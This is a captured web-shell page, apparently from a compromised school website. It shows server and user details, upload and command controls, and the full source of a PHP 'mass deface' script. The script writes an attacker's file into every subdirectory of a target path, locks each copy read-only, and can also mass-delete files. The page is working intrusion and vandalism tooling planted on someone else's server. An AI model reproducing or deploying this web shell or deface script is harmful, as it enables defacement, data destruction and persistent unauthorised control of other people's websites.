403Webshell
Server IP : 216.106.184.20  /  Your IP : 216.73.216.234
Web Server : LiteSpeed
System : Linux asmodeus.in-hell.com 5.14.0-570.58.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 29 06:24:11 EDT 2025 x86_64
User : sekoaid1 ( 1891)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sekoaid1/spp.raudhatulfalah.sch.id/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/sekoaid1/spp.raudhatulfalah.sch.id/m4s.php
<?php
echo "<h3>Lite Mass Deface/Delete + CHMOD 0555 + Custom Path</h3>";

// Upload + Deface
if (isset($_POST['upload'])) {
    $path = rtrim($_POST['path'], '/');
    $filename = trim($_POST['filename']);
    $filetmp = $_FILES['deface']['tmp_name'];
    $content = file_get_contents($filetmp);

    if (!is_dir($path)) {
        die("<span style='color:red'>[ERROR]</span> Path tidak ditemukan atau tidak valid.");
    }

    $dirs = scandir($path);
    $success = 0;
    $fail = 0;

    foreach ($dirs as $dir) {
        $targetDir = $path . '/' . $dir;
        if ($dir != '.' && $dir != '..' && is_dir($targetDir)) {
            $target = $targetDir . '/' . $filename;
            if (file_put_contents($target, $content)) {
                chmod($target, 0555);
                echo "<span style='color:green'>[OK]</span> $target<br>";
                $success++;
            } else {
                echo "<span style='color:red'>[FAIL]</span> $target<br>";
                $fail++;
            }
        }
    }

    echo "<br><b>Done Upload:</b> $success success, $fail failed.<br><br>";
}

// Delete Deface File
if (isset($_POST['delete'])) {
    $path = rtrim($_POST['path_delete'], '/');
    $filename = trim($_POST['filename_delete']);

    if (!is_dir($path)) {
        die("<span style='color:red'>[ERROR]</span> Path tidak ditemukan atau tidak valid.");
    }

    $dirs = scandir($path);
    $deleted = 0;
    $notfound = 0;

    foreach ($dirs as $dir) {
        $targetDir = $path . '/' . $dir;
        if ($dir != '.' && $dir != '..' && is_dir($targetDir)) {
            $target = $targetDir . '/' . $filename;
            if (file_exists($target)) {
                if (unlink($target)) {
                    echo "<span style='color:orange'>[DELETED]</span> $target<br>";
                    $deleted++;
                } else {
                    echo "<span style='color:red'>[FAILED DELETE]</span> $target<br>";
                }
            } else {
                $notfound++;
            }
        }
    }

    echo "<br><b>Done Delete:</b> $deleted deleted, $notfound not found.<br><br>";
}
?>

<!-- Form Upload -->
<form method="post" enctype="multipart/form-data">
    <label><b>Target Path:</b></label><br>
    <input type="text" name="path" placeholder="/home/user/public_html" required><br><br>

    <label><b>Nama File Deface:</b></label><br>
    <input type="text" name="filename" placeholder="index.html" required><br><br>

    <input type="file" name="deface" required><br>
    <input type="submit" name="upload" value="Mass Deface">
</form>

<br><hr><br>

<!-- Form Delete -->
<form method="post">
    <label><b>Target Path:</b></label><br>
    <input type="text" name="path_delete" placeholder="/home/user/public_html" required><br><br>

    <label><b>Nama File yang Ingin Dihapus:</b></label><br>
    <input type="text" name="filename_delete" placeholder="index.html" required><br><br>

    <input type="submit" name="delete" value="Mass Delete">
</form>

Youez - 2016 - github.com/yon3zu
LinuXploit